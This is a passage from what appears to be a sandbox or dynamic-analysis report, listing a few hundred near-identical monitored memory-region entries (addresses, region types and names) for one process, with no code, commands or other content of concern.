"" Region: id = 2904 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2905 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2906 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2907 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2908 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2909 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2910 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2911 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2912 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2913 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2914 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2915 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2916 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2917 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2918 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2919 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2920 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2921 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2922 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2923 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2924 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2925 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2926 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2927 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2928 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2929 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2930 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2931 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2932 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2933 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2934 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2935 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2936 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2937 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2938 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2939 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2940 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2941 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2942 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2943 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2944 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2945 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2946 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2947 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2948 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2949 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2950 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2951 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2952 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2953 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2954 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2955 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2956 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2957 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2958 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2959 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2960 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2961 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2962 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2963 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2964 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2965 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2966 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2967 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2968 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2969 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2970 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2971 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2972 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2973 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2974 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2975 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2976 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2977 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2978 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2979 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2980 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2981 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2982 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2983 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2984 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2985 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2986 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2987 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2988 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2989 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2990 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2991 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2992 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2993 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2994 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2995 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2996 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2997 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2998 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2999 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3000 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3001 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3002 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3003 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3004 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3005 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3006 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3007 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3008 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3009 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3010 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3011 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3012 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3013 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3014 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3015 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3016 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3017 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3018 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3019 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3020 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3021 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3022 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3023 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3024 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3025 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3026 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3027 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3028 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3029 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3030 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3031 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3032 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3033 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3034 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3035 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3036 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3037 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3038 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3039 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3040 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3041 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3042 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3043 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3044 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3045 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3046 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3047 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3048 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3049 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3050 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3051 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3052 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3053 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3054 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3055 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3056 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3057 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3058 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3059 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3060 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3061 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3062 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3063 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3064 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3065 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3066 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3067 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3068 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3069 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3070 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3071 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3072 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3073 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3074 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3075 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3076 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3077 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3078 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3079 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3080 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3081 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3082 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3083 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3084 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3085 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3086 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3087 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3088 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3089 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3090 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3091 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3092 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3093 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3094 start_va = 0x430000 